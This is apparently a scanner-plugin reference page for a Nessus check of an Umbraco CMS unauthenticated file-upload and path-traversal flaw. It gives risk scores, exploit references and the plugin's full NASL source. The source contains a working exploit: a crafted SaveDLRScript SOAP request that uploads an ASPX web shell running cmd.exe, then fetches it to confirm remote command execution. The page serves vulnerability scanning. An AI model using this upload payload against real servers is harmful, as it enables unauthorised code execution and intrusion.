Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution - Nessus

High   Plugin ID: 61517

This page contains detailed information about the Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 61517
Name: Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution
Filename: umbraco_arbitrary_upload.nasl
Vulnerability Published: 2012-07-09
This Plugin Published: 2012-08-13
Last Modification Time: 2022-04-11
Plugin Version: 1.10
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: umbraco_detect.nasl
Required KB Items [?]: www/ASP, www/umbraco
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: 2012-07-09
Patch Published: 2011-09-01
CVE [?]: N/A
CPE [?]: cpe:/a:umbraco:umbraco_cms

Synopsis

The remote web server hosts an application that can be abused to execute arbitrary code.

Description

The version of Umbraco installed on the remote host allows unauthenticated remote attackers to upload arbitrary files using the 'SaveDLRScript' SOAP action of the 'codeEditorSave.asmx' script. In addition, these files can be stored in a web-accessible location using encoded traversal strings.

These issues together allow an attacker to upload a malicious script to the affected host and use it to execute arbitrary commands, subject to the privileges under which the web server operates.

Solution

Unknown at this time.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution vulnerability:

  1. Metasploit: exploit/windows/http/umbraco_upload_aspx
    [Umbraco CMS Remote Command Execution]
  2. Exploit-DB: exploits/windows/webapps/19671.rb
    [EDB-19671: Umbraco CMS - Remote Command Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:ND
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)

Go back to menu.

Plugin Source


This is the umbraco_arbitrary_upload.nasl nessus plugin source code. This script is Copyright (C) 2012-2022 Tenable Network Security, Inc.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(61517);
  script_version("1.10");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
  script_bugtraq_id(54351);
  script_xref(name:"EDB-ID", value:"19671");

  script_name(english:"Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts an application that can be abused to
execute arbitrary code.");
  script_set_attribute(attribute:"description", value:
"The version of Umbraco installed on the remote host allows
unauthenticated remote attackers to upload arbitrary files using the
'SaveDLRScript' SOAP action of the 'codeEditorSave.asmx' script.  In
addition, these files can be stored in a web-accessible location using
encoded traversal strings. 

These issues together allow an attacker to upload a malicious script to
the affected host and use it to execute arbitrary commands, subject to
the privileges under which the web server operates.");
  # https://blog.gdssecurity.com/labs/2012/7/3/find-bugs-faster-with-a-webmatrix-local-reference-instance.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?064f577f");
  script_set_attribute(attribute:"solution", value:
"Unknown at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Umbraco CMS Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/07/09");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/09/01");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/08/13");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:umbraco:umbraco_cms");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2022 Tenable Network Security, Inc.");

  script_dependencies("umbraco_detect.nasl");
  script_require_keys("www/umbraco", "www/ASP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

port = get_http_port(default:80);

install = get_install_from_kb(
  appname      : "umbraco",
  port         : port,
  exit_on_fail : TRUE
);

dir = install["dir"];
vulnerable = FALSE;

payload = '<%@ Page Language="C#" EnableViewState="false" %>\r
<%@ Import Namespace="System.Web.UI.WebControls" %>\r
<%@ Import Namespace="System.Diagnostics" %>\r
<%@ Import Namespace="System.IO" %>\r
<%\r
        string outstr = "";\r
        string dir = Page.MapPath(".") + "/";\r
        if (Request.QueryString["fdir"] != null)\r
        dir = Request.QueryString["fdir"] + "/";\r
        dir = dir.Replace("\\\\", "/");\r
        dir = dir.Replace("//", "/");\r
        Process p = new Process();\r
        p.StartInfo.CreateNoWindow = true;\r
        p.StartInfo.FileName = "cmd.exe";\r
        p.StartInfo.Arguments = "/c ipconfig /all";\r
        p.StartInfo.UseShellExecute = false;\r
        p.StartInfo.RedirectStandardOutput = true;\r
        p.StartInfo.RedirectStandardError = true;\r
        p.StartInfo.WorkingDirectory = dir;\r
        p.Start();\r
        lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();    \r
%>\r
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\r
<html xmlns="http://www.w3.org/1999/xhtml">\r
<body>
<pre><asp:Literal runat="server" ID="lblCmdOut" Mode="Encode"></asp:Literal></pre>\r
</body>\r
</html>\r';

exp_script = (SCRIPT_NAME - ".nasl") + "-" + unixtime() + ".aspx";

exploit = '<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SaveDLRScript xmlns="http://tempuri.org/">
      <fileName>/..\\..\\..\\umbraco\\' + exp_script + '</fileName>
      <oldName>string</oldName>
      <fileContents>' + payload + '
      </fileContents>
      <ignoreDebugging>1</ignoreDebugging>
    </SaveDLRScript>
  </soap:Body>
</soap:Envelope>';

res = http_send_recv3(
  method : "POST",
  port   : port,
  item   : dir + "/webservices/codeEditorSave.asmx",
  data   : exploit,
  add_headers : make_array("SOAPAction", '"http://tempuri.org/SaveDLRScript"',
  "Content-Type", "text/xml; charset=utf-8")
);
report_req = http_last_sent_request();

if ("<soap:Fault><faultcode>soap:Server</faultcode>" >< res[2])
{
  url = dir + "/" + exp_script;

  res2 = http_send_recv3(
    method          : "GET",
    item            : url,
    port            : port,
    exit_on_fail    : TRUE
  );

  if (
    "Windows IP Configuration" >< res2[2] &&
    "Subnet Mask" >< res2[2]
  )
  {
    vulnerable = TRUE;
    file_url = build_url(port:port, qs:url);
  }
}

if (!vulnerable)
{
  loc = build_url(port:port, qs:dir + "/");
  audit(AUDIT_WEB_APP_NOT_AFFECTED, "Umbraco", loc);
}

report = NULL;
if (report_verbosity > 0)
{
  snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
  report =
    '\nNessus was able to verify the issue exists with the following request : ' +
    '\n' +
    '\n' + file_url +
    '\n' +
    '\n  Note : This file has not been removed and will need to be manually deleted.' +
    '\n';
  if (report_verbosity > 1)
  {
    out_full = strstr(res2[2], "Windows IP Configuration");
    output = ereg_replace(string:out_full, pattern:"<\/(pre|body|html)>", replace:"");

    report +=
      '\nThe file was uploaded by using the following request : ' +
      '\n' +
      '\n' + snip +
      '\n' + report_req +
      '\n' + snip +
      '\n' +
      '\nThe file uploaded to the remote host produced the following output : ' +
      '\n' +
      '\n' + snip +
      '\n' + chomp(output) +
      '\n' + snip +
      '\n';
  }
  security_hole(port:port, extra:report);
  exit(0);
}
else security_hole(port:port);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/umbraco_arbitrary_upload.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\umbraco_arbitrary_upload.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/umbraco_arbitrary_upload.nasl

Go back to menu.

How to Run


Here is how to run the Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution plugin ID 61517.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl umbraco_arbitrary_upload.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a umbraco_arbitrary_upload.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - umbraco_arbitrary_upload.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state umbraco_arbitrary_upload.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 130263 - Adobe ColdFusion File Upload (APSB18-33) (CVE-2018-15961)
  • 39790 - Adobe ColdFusion FCKeditor 'CurrentFolder' File Upload
  • 16061 - e107 Image Manager Unauthorized File Upload
  • 39806 - FCKeditor 'CurrentFolder' Arbitrary File Upload
  • 21780 - FCKeditor on Apache connector.php Crafted File Extension Arbitrary File Upload
  • 69273 - Joomla! 2.5.x < 2.5.14 / 3.x < 3.1.5 .php. File Upload RCE
  • 64470 - Collector Component for Joomla! File Upload RCE
  • 79420 - Creative Contact Form Component for Joomla! File Upload RCE
  • 25736 - Expose for Joomla! File Upload RCE
  • 118310 - jQuery-File-Upload Arbitrary File Upload Vulnerability (Remote Check)
  • 58654 - Lenovo ThinkManagement Console RunAMTCommand Operation -PutUpdateFileCore Command Parsing Arbitrary File Upload
  • 22367 - Limbo Contact Component (com_contact) contact.html.php contact_attach Unrestricted File Upload
  • 82078 - ManageEngine Desktop Central statusUpdate Arbitrary File Upload RCE (intrusive check)
  • 82079 - ManageEngine Desktop Central Arbitrary File Upload and RCE (Safe Check)
  • 71217 - ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload RCE (intrusive check)
  • 71218 - ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload
  • 143600 - ManageEngine ServiceDesk Plus < 10.0 Build 10012 Arbitrary File Upload
  • 63638 - MoinMoin twikidraw.py Traversal File Upload Arbitrary File Overwrite
  • 47581 - Novell 'modulemanager' Servlet Arbitrary File Upload (intrusive check)
  • 47582 - Novell 'modulemanager' Servlet Arbitrary File Upload (safe check)
  • 66914 - Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check)
  • 35261 - OneOrZero Helpdesk tinfo.php Arbitrary File Upload
  • 49271 - OpenX Open Flash Chart ofc_upload_image.php File Upload Arbitrary Code Execution
  • 51119 - Sitefinity CMS Arbitrary File Upload
  • 22303 - TikiWiki jhot.php Arbitrary File Upload
  • 56735 - TimThumb Cache Directory 'src' Parameter Arbitrary PHP File Upload
  • 80083 - Visual Mining NetCharts Server Arbitrary File Upload
  • 105732 - Western Digital MyCloud Unauthenticated File Upload
  • 79421 - Creative Contact Form Plugin for WordPress File Upload RCE
  • 76526 - MailPoet Newsletters for WordPress Arbitrary File Upload
  • 105372 - WP Symposium Plugin Arbitrary File Upload
  • 160208 - WSO2 Multiple Products File Upload Remote Command Execution (CVE-2022-29464)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file umbraco_arbitrary_upload.nasl version 1.10. For more plugins, visit the Nessus Plugin Library.

Go back to menu.